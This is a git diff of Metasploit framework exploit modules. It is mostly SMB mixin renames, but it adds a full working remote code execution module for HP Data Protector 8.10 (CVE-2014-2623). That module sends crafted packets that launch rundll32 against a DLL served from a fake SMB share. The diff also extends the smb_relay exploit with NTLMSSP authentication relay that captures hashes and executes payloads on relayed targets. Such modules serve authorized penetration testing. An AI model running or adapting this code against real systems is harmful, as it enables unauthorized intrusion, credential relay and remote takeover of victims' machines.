929a52a6b044..d226e40007ad 100644 --- a/modules/exploits/windows/local/ntapphelpcachecontrol.rb +++ b/modules/exploits/windows/local/ntapphelpcachecontrol.rb @@ -15,7 +15,7 @@ class Metasploit3 < Msf::Exploit::Local def initialize(info={}) super(update_info(info, { - 'Name' => 'Microsoft Windows NtApphelpCacheControl Improper Authorization Check', + 'Name' => 'MS15-001 Microsoft Windows NtApphelpCacheControl Improper Authorization Check', 'Description' => %q{ On Windows, the system call NtApphelpCacheControl (the code is actually in ahcache.sys) allows application compatibility data to be cached for quick reuse when new processes are @@ -58,6 +58,7 @@ def initialize(info={}) }, 'References' => [ + [ 'MSB', 'MS15-001' ], [ 'CVE', '2015-0002' ], [ 'OSVEB', '116497' ], [ 'EDB', '35661' ], diff --git a/modules/exploits/windows/local/pxeexploit.rb b/modules/exploits/windows/local/pxeexploit.rb index 04edbd3f4491..5830e98536e6 100644 --- a/modules/exploits/windows/local/pxeexploit.rb +++ b/modules/exploits/windows/local/pxeexploit.rb @@ -30,6 +30,8 @@ def initialize 'DefaultOptions' => { 'EXITFUNC' => 'thread', + 'FILENAME' => 'update1', + 'SERVEONCE' => true # once they reboot; don't infect again - you'll kill them! }, 'Payload' => { @@ -47,11 +49,7 @@ def initialize ], 'Privileged' => true, 'Stance' => Msf::Exploit::Stance::Passive, - 'DefaultTarget' => 0, - 'DefaultOptions' => { - 'FILENAME' => 'update1', - 'SERVEONCE' => true # once they reboot; don't infect again - you'll kill them! - } + 'DefaultTarget' => 0 ) register_options( diff --git a/modules/exploits/windows/misc/hp_dataprotector_cmd_exec.rb b/modules/exploits/windows/misc/hp_dataprotector_cmd_exec.rb new file mode 100644 index 000000000000..55cd0236eca1 --- /dev/null +++ b/modules/exploits/windows/misc/hp_dataprotector_cmd_exec.rb @@ -0,0 +1,150 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::Tcp + include Msf::Exploit::Remote::SMB::Server::Share + include Msf::Exploit::EXE + + def initialize(info={}) + super(update_info(info, + 'Name' => 'HP Data Protector 8.10 Remote Command Execution', + 'Description' => %q{ + This module exploits a remote command execution on HP Data Protector 8.10. Arbitrary + commands can be execute by sending crafted requests with opcode 28 to the OmniInet + service listening on the TCP/5555 port. Since there is an strict length limitation on + the command, rundll32.exe is executed, and the payload is provided through a DLL by a + fake SMB server. This module has been tested successfully on HP Data Protector 8.1 on + Windows 7 SP1. + }, + 'Author' => [ + 'Christian Ramirez', # POC + 'Henoch Barrera', # POC + 'Matthew Hall <hallm[at]sec-1.com>' # Metasploit Module + ], + 'References' => + [ + ['CVE', '2014-2623'], + ['OSVDB', '109069'], + ['EDB', '34066'], + ['URL', 'https://h20564.www2.hp.com/hpsc/doc/public/display?docId=emr_na-c04373818'] + ], + 'DefaultOptions' => + { + 'EXITFUNC' => 'thread', + }, + 'Payload' => + { + 'Space' => 2048, + 'DisableNops' => true + }, + 'Privileged' => true, + 'Platform' => 'win', + 'Stance' => Msf::Exploit::Stance::Aggressive, + 'Targets' => + [ + [ 'HP Data Protector 8.10 / Windows', { } ], + ], + 'DefaultTarget' => 0, + 'DisclosureDate' => 'Nov 02 2014')) + + register_options( + [ + Opt::RPORT(5555), + OptString.new('FILE_NAME', [ false, 'DLL File name to share']), + OptInt.new('SMB_DELAY', [true, 'Time that the SMB Server will wait for the payload request', 15]) + ], self.class) + + deregister_options('FILE_CONTENTS') + end + + def check + fingerprint = get_fingerprint + + if fingerprint.nil? + return Exploit::CheckCode::Unknown + end + + print_status("#{peer} - HP Data Protector version #{fingerprint}") + + if fingerprint =~ /HP Data Protector A\.08\.(\d+)/ + minor = $1.to_i + else + return Exploit::CheckCode::Safe + end + + if minor < 11 + return Exploit::CheckCode::Appears + end + + Exploit::CheckCode::Detected + end + + def peer + "#{rhost}:#{rport}" + end + + def get_fingerprint + ommni = connect + ommni.put(rand_text_alpha_upper(64)) + resp = ommni.get_once(-1) + disconnect + + if resp.nil? + return nil + end + + Rex::Text.to_ascii(resp).chop.chomp # Delete unicode last null + end + + def send_pkt(cmd) + cmd.gsub!("\\", "\\\\\\\\") + + pkt = "2\x00" + pkt << "\x01\x01\x01\x01\x01\x01\x00" + pkt << "\x01\x00" + pkt << "\x01\x00" + pkt << "\x01\x00" + pkt << "\x01\x01\x00 " + pkt << "28\x00" + pkt << "\\perl.exe\x00 " + pkt << "-esystem('#{cmd}')\x00" + + connect + sock.put([pkt.length].pack('N') + pkt) + disconnect + end + + def primer + self.file_contents = generate_payload_dll + print_status("File available on #{unc}...") + + print_status("#{peer} - Trying to execute remote DLL...") + sploit = "rundll32.exe #{unc},#{rand_text_numeric(1)}" + send_pkt(sploit) + end + + def setup + super + + self.file_name = datastore['FILE_NAME'] || "#{Rex::Text.rand_text_alpha(4 + rand(3))}.dll" + + unless file_name =~ /\.dll$/ + fail_with(Failure::BadConfig, "FILE_NAME must end with .dll") + end + end + + def exploit + begin + Timeout.timeout(datastore['SMB_DELAY']) {super} + rescue Timeout::Error + # do nothing... just finish exploit and stop smb server... + end + end +end diff --git a/modules/exploits/windows/mssql/mssql_linkcrawler.rb b/modules/exploits/windows/mssql/mssql_linkcrawler.rb index a965c71db166..1d64c7ae2504 100644 --- a/modules/exploits/windows/mssql/mssql_linkcrawler.rb +++ b/modules/exploits/windows/mssql/mssql_linkcrawler.rb @@ -49,7 +49,6 @@ def initialize(info = {}) ['URL','http://msdn.microsoft.com/en-us/library/ms188279.aspx'], ['URL','http://www.exploit-monday.com/2011_10_16_archive.html'] ], - 'Platform' => 'win', 'DisclosureDate' => 'Jan 1 2000', 'Targets' => [ diff --git a/modules/exploits/windows/oracle/extjob.rb b/modules/exploits/windows/oracle/extjob.rb index f79440694c5b..7af245692f7b 100644 --- a/modules/exploits/windows/oracle/extjob.rb +++ b/modules/exploits/windows/oracle/extjob.rb @@ -8,7 +8,7 @@ class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking - include Msf::Exploit::Remote::SMB + include Msf::Exploit::Remote::SMB::Client include Msf::Exploit::CmdStager def initialize(info = {}) diff --git a/modules/exploits/windows/scada/winlog_runtime_2.rb b/modules/exploits/windows/scada/winlog_runtime_2.rb index 0109243f259a..aae027fa4975 100644 --- a/modules/exploits/windows/scada/winlog_runtime_2.rb +++ b/modules/exploits/windows/scada/winlog_runtime_2.rb @@ -44,7 +44,6 @@ def initialize(info = {}) 'BadChars' => "\x00", 'DisableNops' => true, }, - 'Platform' => 'win', 'Targets' => [ [ 'Sielco Sistemi Winlog 2.07.14/2.07.16 - Ceramics Kiln Project', diff --git a/modules/exploits/windows/smb/ms03_049_netapi.rb b/modules/exploits/windows/smb/ms03_049_netapi.rb index 3bf00f05d694..2b1c6f7272cc 100644 --- a/modules/exploits/windows/smb/ms03_049_netapi.rb +++ b/modules/exploits/windows/smb/ms03_049_netapi.rb @@ -9,7 +9,7 @@ class Metasploit3 < Msf::Exploit::Remote Rank = GoodRanking include Msf::Exploit::Remote::DCERPC - include Msf::Exploit::Remote::SMB + include Msf::Exploit::Remote::SMB::Client def initialize(info = {}) super(update_info(info, diff --git a/modules/exploits/windows/smb/ms04_007_killbill.rb b/modules/exploits/windows/smb/ms04_007_killbill.rb index 7c125a237116..ded0c6d24dd3 100644 --- a/modules/exploits/windows/smb/ms04_007_killbill.rb +++ b/modules/exploits/windows/smb/ms04_007_killbill.rb @@ -8,7 +8,7 @@ class Metasploit3 < Msf::Exploit::Remote Rank = LowRanking - include Msf::Exploit::Remote::SMB + include Msf::Exploit::Remote::SMB::Client def initialize(info = {}) super(update_info(info, diff --git a/modules/exploits/windows/smb/ms04_011_lsass.rb b/modules/exploits/windows/smb/ms04_011_lsass.rb index 951d22c5a276..8c9150e72f98 100644 --- a/modules/exploits/windows/smb/ms04_011_lsass.rb +++ b/modules/exploits/windows/smb/ms04_011_lsass.rb @@ -12,7 +12,7 @@ class Metasploit3 < Msf::Exploit::Remote # This module exploits a vulnerability in the LSASS service # include Msf::Exploit::Remote::DCERPC - include Msf::Exploit::Remote::SMB + include Msf::Exploit::Remote::SMB::Client def initialize(info = {}) super(update_info(info, diff --git a/modules/exploits/windows/smb/ms04_031_netdde.rb b/modules/exploits/windows/smb/ms04_031_netdde.rb index f985b40e7fd9..63bb2284c409 100644 --- a/modules/exploits/windows/smb/ms04_031_netdde.rb +++ b/modules/exploits/windows/smb/ms04_031_netdde.rb @@ -9,7 +9,7 @@ class Metasploit3 < Msf::Exploit::Remote Rank = GoodRanking include Msf::Exploit::Remote::DCERPC - include Msf::Exploit::Remote::SMB + include Msf::Exploit::Remote::SMB::Client def initialize(info = {}) super(update_info(info, diff --git a/modules/exploits/windows/smb/ms05_039_pnp.rb b/modules/exploits/windows/smb/ms05_039_pnp.rb index 9e978f40b5ff..c607558b2b3c 100644 --- a/modules/exploits/windows/smb/ms05_039_pnp.rb +++ b/modules/exploits/windows/smb/ms05_039_pnp.rb @@ -9,7 +9,7 @@ class Metasploit3 < Msf::Exploit::Remote Rank = GoodRanking include Msf::Exploit::Remote::DCERPC - include Msf::Exploit::Remote::SMB + include Msf::Exploit::Remote::SMB::Client def initialize(info = {}) diff --git a/modules/exploits/windows/smb/ms06_025_rasmans_reg.rb b/modules/exploits/windows/smb/ms06_025_rasmans_reg.rb index db8d4bb5c216..ad523283c115 100644 --- a/modules/exploits/windows/smb/ms06_025_rasmans_reg.rb +++ b/modules/exploits/windows/smb/ms06_025_rasmans_reg.rb @@ -10,7 +10,7 @@ class Metasploit3 < Msf::Exploit::Remote include Msf::Exploit::Remote::Egghunter include Msf::Exploit::Remote::DCERPC - include Msf::Exploit::Remote::SMB + include Msf::Exploit::Remote::SMB::Client def initialize(info = {}) super(update_info(info, diff --git a/modules/exploits/windows/smb/ms06_025_rras.rb b/modules/exploits/windows/smb/ms06_025_rras.rb index 62f2c5845bb8..73bf7bd39296 100644 --- a/modules/exploits/windows/smb/ms06_025_rras.rb +++ b/modules/exploits/windows/smb/ms06_025_rras.rb @@ -9,7 +9,7 @@ class Metasploit3 < Msf::Exploit::Remote Rank = AverageRanking include Msf::Exploit::Remote::DCERPC - include Msf::Exploit::Remote::SMB + include Msf::Exploit::Remote::SMB::Client def initialize(info = {}) super(update_info(info, diff --git a/modules/exploits/windows/smb/ms06_040_netapi.rb b/modules/exploits/windows/smb/ms06_040_netapi.rb index f9e8cde4adbb..335165a58daf 100644 --- a/modules/exploits/windows/smb/ms06_040_netapi.rb +++ b/modules/exploits/windows/smb/ms06_040_netapi.rb @@ -9,7 +9,7 @@ class Metasploit3 < Msf::Exploit::Remote Rank = GoodRanking include Msf::Exploit::Remote::DCERPC - include Msf::Exploit::Remote::SMB + include Msf::Exploit::Remote::SMB::Client def initialize(info = {}) super(update_info(info, diff --git a/modules/exploits/windows/smb/ms06_066_nwapi.rb b/modules/exploits/windows/smb/ms06_066_nwapi.rb index 9b96ebf279b3..17b58d9077f7 100644 --- a/modules/exploits/windows/smb/ms06_066_nwapi.rb +++ b/modules/exploits/windows/smb/ms06_066_nwapi.rb @@ -10,8 +10,7 @@ class Metasploit3 < Msf::Exploit::Remote include Msf::Exploit::Remote::Egghunter include Msf::Exploit::Remote::DCERPC - include Msf::Exploit::Remote::SMB - + include Msf::Exploit::Remote::SMB::Client def initialize(info = {}) super(update_info(info, diff --git a/modules/exploits/windows/smb/ms06_066_nwwks.rb b/modules/exploits/windows/smb/ms06_066_nwwks.rb index 8f3a1e1f9133..e5104d14c2dc 100644 --- a/modules/exploits/windows/smb/ms06_066_nwwks.rb +++ b/modules/exploits/windows/smb/ms06_066_nwwks.rb @@ -9,8 +9,7 @@ class Metasploit3 < Msf::Exploit::Remote Rank = GoodRanking include Msf::Exploit::Remote::DCERPC - include Msf::Exploit::Remote::SMB - + include Msf::Exploit::Remote::SMB::Client def initialize(info = {}) super(update_info(info, diff --git a/modules/exploits/windows/smb/ms06_070_wkssvc.rb b/modules/exploits/windows/smb/ms06_070_wkssvc.rb index bc3c5fb11a38..059ff04131c1 100644 --- a/modules/exploits/windows/smb/ms06_070_wkssvc.rb +++ b/modules/exploits/windows/smb/ms06_070_wkssvc.rb @@ -9,7 +9,7 @@ class Metasploit3 < Msf::Exploit::Remote Rank = ManualRanking # Requires valid/working DOMAIN + DC include Msf::Exploit::Remote::DCERPC - include Msf::Exploit::Remote::SMB + include Msf::Exploit::Remote::SMB::Client include Msf::Exploit::Seh def initialize(info = {}) diff --git a/modules/exploits/windows/smb/ms07_029_msdns_zonename.rb b/modules/exploits/windows/smb/ms07_029_msdns_zonename.rb index d652f026446a..651de13296df 100644 --- a/modules/exploits/windows/smb/ms07_029_msdns_zonename.rb +++ b/modules/exploits/windows/smb/ms07_029_msdns_zonename.rb @@ -9,7 +9,7 @@ class Metasploit3 < Msf::Exploit::Remote Rank = ManualRanking include Msf::Exploit::Remote::DCERPC - include Msf::Exploit::Remote::SMB + include Msf::Exploit::Remote::SMB::Client def initialize(info = {}) super(update_info(info, diff --git a/modules/exploits/windows/smb/ms08_067_netapi.rb b/modules/exploits/windows/smb/ms08_067_netapi.rb index 6abb6863123c..bbd5ac0eac0c 100644 --- a/modules/exploits/windows/smb/ms08_067_netapi.rb +++ b/modules/exploits/windows/smb/ms08_067_netapi.rb @@ -9,7 +9,7 @@ class Metasploit3 < Msf::Exploit::Remote Rank = GreatRanking include Msf::Exploit::Remote::DCERPC - include Msf::Exploit::Remote::SMB + include Msf::Exploit::Remote::SMB::Client def initialize(info = {}) super(update_info(info, diff --git a/modules/exploits/windows/smb/ms09_050_smb2_negotiate_func_index.rb b/modules/exploits/windows/smb/ms09_050_smb2_negotiate_func_index.rb index 1d4af2635308..3cf78788c9c0 100644 --- a/modules/exploits/windows/smb/ms09_050_smb2_negotiate_func_index.rb +++ b/modules/exploits/windows/smb/ms09_050_smb2_negotiate_func_index.rb @@ -8,7 +8,7 @@ class Metasploit3 < Msf::Exploit::Remote Rank = GoodRanking - include Msf::Exploit::Remote::SMB + include Msf::Exploit::Remote::SMB::Client include Msf::Exploit::KernelMode def initialize(info = {}) diff --git a/modules/exploits/windows/smb/ms10_061_spoolss.rb b/modules/exploits/windows/smb/ms10_061_spoolss.rb index 08b9056f161f..b1b688e620a1 100644 --- a/modules/exploits/windows/smb/ms10_061_spoolss.rb +++ b/modules/exploits/windows/smb/ms10_061_spoolss.rb @@ -10,7 +10,7 @@ class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::DCERPC - include Msf::Exploit::Remote::SMB + include Msf::Exploit::Remote::SMB::Client include Msf::Exploit::EXE include Msf::Exploit::WbemExec diff --git a/modules/exploits/windows/smb/netidentity_xtierrpcpipe.rb b/modules/exploits/windows/smb/netidentity_xtierrpcpipe.rb index 51ee545d347f..b9c0a1baea37 100644 --- a/modules/exploits/windows/smb/netidentity_xtierrpcpipe.rb +++ b/modules/exploits/windows/smb/netidentity_xtierrpcpipe.rb @@ -8,7 +8,7 @@ class Metasploit3 < Msf::Exploit::Remote Rank = GreatRanking - include Msf::Exploit::Remote::SMB + include Msf::Exploit::Remote::SMB::Client def initialize(info = {}) super(update_info(info, diff --git a/modules/exploits/windows/smb/psexec.rb b/modules/exploits/windows/smb/psexec.rb index b32992194721..35bbbeff6f87 100644 --- a/modules/exploits/windows/smb/psexec.rb +++ b/modules/exploits/windows/smb/psexec.rb @@ -18,7 +18,7 @@ class Metasploit3 < Msf::Exploit::Remote Rank = ManualRanking - include Msf::Exploit::Remote::SMB::Psexec + include Msf::Exploit::Remote::SMB::Client::Psexec include Msf::Auxiliary::Report include Msf::Exploit::EXE include Msf::Exploit::WbemExec diff --git a/modules/exploits/windows/smb/psexec_psh.rb b/modules/exploits/windows/smb/psexec_psh.rb index f8bca9625b00..4c395acfb08c 100644 --- a/modules/exploits/windows/smb/psexec_psh.rb +++ b/modules/exploits/windows/smb/psexec_psh.rb @@ -12,7 +12,7 @@ class Metasploit3 < Msf::Exploit::Remote Rank = ManualRanking # Exploit mixins should be called first - include Msf::Exploit::Remote::SMB::Psexec + include Msf::Exploit::Remote::SMB::Client::Psexec include Msf::Exploit::Powershell def initialize(info = {}) diff --git a/modules/exploits/windows/smb/smb_relay.rb b/modules/exploits/windows/smb/smb_relay.rb index 6758f56a668a..fefa197c3100 100644 --- a/modules/exploits/windows/smb/smb_relay.rb +++ b/modules/exploits/windows/smb/smb_relay.rb @@ -22,7 +22,7 @@ class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking - include Msf::Exploit::Remote::SMBServer + include Msf::Exploit::Remote::SMB::Server include Msf::Exploit::EXE def initialize(info = {}) @@ -58,7 +58,8 @@ module is not able to clean up after itself. The service and payload }, 'Author' => [ - 'hdm' + 'hdm', # All the work + 'juan vazquez' # Add NTLMSSP support to the exploit ], 'License' => MSF_LICENSE, 'Privileged' => true, @@ -111,7 +112,7 @@ def smb_haxor(c) return end - if (not rclient.client.auth_user) + unless smb[:ntlmssp] || rclient.client.auth_user print_line(" ") print_error( "FAILED! The remote host has only provided us with Guest privileges. " + @@ -124,7 +125,7 @@ def smb_haxor(c) end print_status("Connecting to the defined share...") - rclient.connect(datastore['SHARE']) + rclient.connect("\\\\#{smb[:rhost]}\\#{datastore['SHARE']}") @pwned[smb[:rhost]] = true @@ -155,10 +156,10 @@ def smb_haxor(c) print_status("Created \\#{filename}...") # Disconnect from the SHARE - rclient.disconnect(datastore['SHARE']) + rclient.disconnect("\\\\#{smb[:rhost]}\\#{datastore['SHARE']}") print_status("Connecting to the Service Control Manager...") - rclient.connect("IPC$") + rclient.connect("\\\\#{smb[:rhost]}\\IPC$") dcerpc = smb_dcerpc(c, '367abb81-9844-35f1-ad32-98f038001003', '2.0', "\\svcctl") @@ -291,10 +292,10 @@ def smb_haxor(c) print_error("Error: #{e}") end - rclient.disconnect("IPC$") + rclient.disconnect("\\\\#{smb[:rhost]}\\IPC$") print_status("Deleting \\#{filename}...") - rclient.connect(datastore['SHARE']) + rclient.connect("\\\\#{smb[:rhost]}\\#{datastore['SHARE']}") rclient.delete("\\#{filename}") end @@ -353,6 +354,9 @@ def smb_cmd_negotiate(c, buff) # Record the remote process ID smb[:process_id] = pkt['Payload']['SMB'].v['ProcessID'] + flags2 = pkt['Payload']['SMB'].v['Flags2'] + extended_security = (flags2 & 0x800 == 0x800) + group = '' machine = smb[:nbsrc] @@ -363,13 +367,64 @@ def smb_cmd_negotiate(c, buff) dialects.index("NT LM 0.12") || dialects.length-1 - # Dialect selected, now we try to the target system target_host = datastore['SMBHOST'] if (not target_host or target_host.strip.length == 0) target_host = smb[:ip] end + # If extended security isn't supported or we're trying reflection + # ntlmv1 should be used, otherwise, use ntlmssp + if extended_security && target_host != smb[:ip] + smb[:ntlmssp] = true + negotiate_ntlmssp(smb, target_host) + else + smb[:ntlmssp] = false + negotiate_ntlmv1(smb, target_host) + end + + rclient = smb[:rclient] + + # Negotiation has failed, just return + unless rclient && rclient.client + return + end + + pkt = CONST::SMB_NEG_RES_NT_PKT.make_struct + smb_set_defaults(c, pkt) + time_hi, time_lo = UTILS.time_unix_to_smb(Time.now.to_i) + + pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_NEGOTIATE + pkt['Payload']['SMB'].v['Flags1'] = 0x88 + pkt['Payload']['SMB'].v['Flags2'] = smb[:ntlmssp] ? 0xc801 : 0xc001 + pkt['Payload']['SMB'].v['WordCount'] = 17 + pkt['Payload'].v['Dialect'] = dialect + pkt['Payload'].v['SecurityMode'] = 3 + pkt['Payload'].v['MaxMPX'] = 2 + pkt['Payload'].v['MaxVCS'] = 1 + pkt['Payload'].v['MaxBuff'] = 4356 + pkt['Payload'].v['MaxRaw'] = 65536 + pkt['Payload'].v['Capabilities'] = smb[:ntlmssp] ? 0x8000e3fd : 0xe3fd + pkt['Payload'].v['ServerTime'] = time_lo + pkt['Payload'].v['ServerDate'] = time_hi + pkt['Payload'].v['Timezone'] = 0x0 + pkt['Payload'].v['SessionKey'] = 0 + if smb[:ntlmssp] + pkt['Payload'].v['KeyLength'] = 0 + pkt['Payload'].v['Payload'] = + "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41" + # Server GUID + Rex::Proto::NTLM::Utils.make_simple_negotiate_secblob_resp + else + pkt['Payload'].v['KeyLength'] = 8 + pkt['Payload'].v['Payload'] = + rclient.client.challenge_key + + Rex::Text.to_unicode(group) + "\x00\x00" + + Rex::Text.to_unicode(machine) + "\x00\x00" + end + c.put(pkt.to_s) + end + + def negotiate_ntlmv1(smb, target_host) rsock = nil rport = nil [445, 139].each do |rport_| @@ -382,7 +437,7 @@ def smb_cmd_negotiate(c, buff) 'Context' => { 'Msf' => framework, - 'MsfExploit' => self, + 'MsfExploit' => self } ) break if rsock @@ -393,7 +448,7 @@ def smb_cmd_negotiate(c, buff) end end - if(not rsock) + unless rsock print_error("Could not connect to the target host (#{target_host}), the target may be firewalled.") return end @@ -409,53 +464,89 @@ def smb_cmd_negotiate(c, buff) raise e end - if (not rclient.client.challenge_key) + unless rclient.client.challenge_key print_error("No challenge key received from #{smb[:ip]}:#{rport}") rsock.close return end - if (smb[:rsock]) + if smb[:rsock] smb[:rsock].close end smb[:rsock] = rsock smb[:rclient] = rclient smb[:rhost] = target_host + end - pkt = CONST::SMB_NEG_RES_NT_PKT.make_struct - smb_set_defaults(c, pkt) + def negotiate_ntlmssp(smb, target_host) + rsock = nil + rport = 445 - time_hi, time_lo = UTILS.time_unix_to_smb(Time.now.to_i) + begin + rsock = Rex::Socket::Tcp.create( + 'PeerHost' => target_host, + 'PeerPort' => rport, + 'Timeout' => 3, + 'Context' => + { + 'Msf' => framework, + 'MsfExploit' => self + } + ) + rescue ::Interrupt + raise $! + rescue ::Exception => e + print_error("Error connecting to #{target_host}:#{rport} #{e.class} #{e}") + end - pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_NEGOTIATE - pkt['Payload']['SMB'].v['Flags1'] = 0x88 - pkt['Payload']['SMB'].v['Flags2'] = 0xc001 - pkt['Payload']['SMB'].v['WordCount'] = 17 - pkt['Payload'].v['Dialect'] = dialect - pkt['Payload'].v['SecurityMode'] = 3 - pkt['Payload'].v['MaxMPX'] = 2 - pkt['Payload'].v['MaxVCS'] = 1 - pkt['Payload'].v['MaxBuff'] = 4356 - pkt['Payload'].v['MaxRaw'] = 65536 - pkt['Payload'].v['Capabilities'] = 0xe3fd # 0x80000000 for extended - pkt['Payload'].v['ServerTime'] = time_lo - pkt['Payload'].v['ServerDate'] = time_hi - pkt['Payload'].v['Timezone'] = 0x0 + unless rsock + print_error("Could not connect to the target host (#{target_host}), the target may be firewalled.") + return + end + rclient = Rex::Proto::SMB::SimpleClient.new(rsock, true) - pkt['Payload'].v['SessionKey'] = 0 - pkt['Payload'].v['KeyLength'] = 8 + rclient.client.negotiate(true) # extended security true - pkt['Payload'].v['Payload'] = - rclient.client.challenge_key + - Rex::Text.to_unicode(group) + "\x00\x00" + - Rex::Text.to_unicode(machine) + "\x00\x00" + unless rclient.client.server_guid + print_error("The NTLMSSP negotation didn't provide the server guid from #{smb[:ip]}:#{rport}") + rsock.close + return + end - c.put(pkt.to_s) + # If in the answer the Extended Security Negotiation (Flags2) is set + # we need to proceed like that! + rclient.client.require_signing = false + + if (smb[:rsock]) + smb[:rsock].close + end + + smb[:rsock] = rsock + smb[:rclient] = rclient + smb[:rhost] = target_host end def smb_cmd_session_setup(c, buff) + smb = @state[c] + if smb[:ntlmssp] + pkt = CONST::SMB_SETUP_NTLMV2_PKT.make_struct + else + pkt = CONST::SMB_SETUP_NTLMV1_PKT.make_struct + end + pkt.from_s(buff) + + capabilities = pkt['Payload'].v['Capabilities'] + extended_security = (capabilities & 0x80000000 == 0x80000000) + if extended_security + smb_cmd_session_setup_ntlmssp(c, buff) + else + smb_cmd_session_setup_ntlmv1(c, buff) + end + end + + def smb_cmd_session_setup_ntlmv1(c, buff) smb = @state[c] pkt = CONST::SMB_SETUP_NTLMV1_PKT.make_struct pkt.from_s(buff) @@ -492,8 +583,8 @@ def smb_cmd_session_setup(c, buff) print_status( "Received #{smb[:name]} #{smb[:domain]}\\#{smb[:username]} " + - "LMHASH:#{lm_hash ? lm_hash : "<NULL>"} NTHASH:#{nt_hash ? nt_hash : "<NULL>"} " + - "OS:#{smb[:peer_os]} LM:#{smb[:peer_lm]}" + "LMHASH:#{lm_hash ? lm_hash : "<NULL>"} NTHASH:#{nt_hash ? nt_hash : "<NULL>"} " + + "OS:#{smb[:peer_os]} LM:#{smb[:peer_lm]}" ) if (lm_hash == "" or lm_hash == "00") @@ -519,7 +610,7 @@ def smb_cmd_session_setup(c, buff) rescue XCEPT::LoginError end - if (res) + if res print_status("AUTHENTICATED as #{smb[:domain]}\\#{smb[:username]}...") smb_haxor(c) else @@ -539,4 +630,128 @@ def smb_cmd_session_setup(c, buff) c.put(pkt.to_s) end + def smb_cmd_session_setup_ntlmssp(c, buff) + smb = @state[c] + buff_copy = buff.dup + pkt = CONST::SMB_SETUP_NTLMV2_PKT.make_struct + pkt.from_s(buff_copy) + + blob_length = pkt['Payload'].v['SecurityBlobLen'] + blob = pkt['Payload'].v['Payload'][0, blob_length] + + #detect if GSS is being used I need to fix this code.... but + if blob[0,7] == 'NTLMSSP' + c_gss = false + else + c_gss = true + start = blob.index('NTLMSSP') + if start + blob.slice!(0,start) + else + print_status("SMB Capture - Error finding NTLMSSP in SMB_COM_SESSION_SETUP_ANDX request from #{smb[:name]} - #{smb[:ip]}, ignoring ...") + smb_error(CONST::SMB_COM_SESSION_SETUP_ANDX, c, CONST::SMB_STATUS_LOGON_FAILURE, true) + return + end + end + ntlm_message = NTLM_MESSAGE::parse(blob) + + case ntlm_message + when NTLM_MESSAGE::Type1 + smb_cmd_ntlmssp_negotiate(c, buff) + when NTLM_MESSAGE::Type3 + smb_cmd_ntlmssp_auth(c, buff) + else + smb_error(CONST::SMB_COM_SESSION_SETUP_ANDX, c, CONST::SMB_STATUS_LOGON_FAILURE, true) + return + end + end + + def smb_cmd_ntlmssp_negotiate(c, buff) + smb = @state[c] + pkt = CONST::SMB_SETUP_NTLMV2_PKT.make_struct + pkt.from_s(buff) + + smb[:process_id] = pkt['Payload']['SMB'].v['ProcessID'] + smb[:user_id] = pkt['Payload']['SMB'].v['UserID'] + smb[:tree_id] = pkt['Payload']['SMB'].v['TreeID'] + smb[:multiplex_id] = pkt['Payload']['SMB'].v['MultiplexID'] + + security_blob_length = pkt['Payload'].v['SecurityBlobLen'] + security_blob = pkt['Payload'].v['Payload'][0, security_blob_length] + + print_status("Sending NTLMSSP NEGOTIATE to #{smb[:rhost]}") + rclient = smb[:rclient] + + rclient.client.session_setup_with_ntlmssp_blob(security_blob, false) + + print_status("Extracting NTLMSSP CHALLENGE from #{smb[:rhost]}") + resp = rclient.client.smb_recv_parse(CONST::SMB_COM_SESSION_SETUP_ANDX, true) + + rclient.client.auth_user_id = resp['Payload']['SMB'].v['UserID'] + + security_blob_length = resp['Payload'].v['SecurityBlobLen'] + security_blob = resp['Payload'].v['Payload'][0, security_blob_length] + + print_status("Forwarding the NTLMSSP CHALLENGE to #{smb[:name]}") + challenge = CONST::SMB_SETUP_NTLMV2_RES_PKT.make_struct + smb_set_defaults(c, challenge) + + native_data = '' + native_data << "Unix\x00" #Native OS + native_data << "Samba\x00" #Native LanMAN + + challenge['Payload']['SMB'].v['Command'] = CONST::SMB_COM_SESSION_SETUP_ANDX + challenge['Payload']['SMB'].v['ErrorClass'] = CONST::SMB_STATUS_MORE_PROCESSING_REQUIRED + challenge['Payload']['SMB'].v['Flags1'] = 0x80 + challenge['Payload']['SMB'].v['Flags2'] = 0xc801 # no signing + challenge['Payload']['SMB'].v['WordCount'] = 4 + challenge['Payload'].v['AndX'] = 0xFF + challenge['Payload'].v['Reserved1'] = 0x00 + challenge['Payload'].v['AndXOffset'] = 0 + challenge['Payload'].v['Action'] = 0x0000 + challenge['Payload'].v['SecurityBlobLen'] = security_blob_length + challenge['Payload'].v['Payload'] = security_blob + native_data + c.put(challenge.to_s) + end + + def smb_cmd_ntlmssp_auth(c, buff) + smb = @state[c] + pkt = CONST::SMB_SETUP_NTLMV2_PKT.make_struct + pkt.from_s(buff) + + smb[:process_id] = pkt['Payload']['SMB'].v['ProcessID'] + smb[:user_id] = pkt['Payload']['SMB'].v['UserID'] + smb[:tree_id] = pkt['Payload']['SMB'].v['TreeID'] + smb[:multiplex_id] = pkt['Payload']['SMB'].v['MultiplexID'] + + print_status("Extracting the NTLMSSP AUTH resolution from #{smb[:name]}, and sending Logon Failure response") + + security_blob_length = pkt['Payload'].v['SecurityBlobLen'] + security_blob = pkt['Payload'].v['Payload'][0, security_blob_length] + + smb_error(CONST::SMB_COM_SESSION_SETUP_ANDX, c, CONST::SMB_STATUS_LOGON_FAILURE, true) + + print_status("Forwarding the NTLMSSP AUTH resolution to #{smb[:rhost]}") + rclient = smb[:rclient] + + rclient.client.session_setup_with_ntlmssp_blob( + security_blob, + false, + rclient.client.auth_user_id + ) + resp = rclient.client.smb_recv_parse(CONST::SMB_COM_SESSION_SETUP_ANDX, true) + + #check if auth was successful + if (resp['Payload']['SMB'].v['ErrorClass'] == 0) + print_good("SMB auth relay against #{smb[:rhost]} succeeded") + smb_haxor(c) + else + failure = Rex::Proto::SMB::Exceptions::ErrorCode.new + failure.word_count = resp['Payload']['SMB'].v['WordCount'] + failure.command = resp['Payload']['SMB'].v['Command'] + failure.error_code = resp['Payload']['SMB'].v['ErrorClass'] + raise failure + end + end + end diff --git 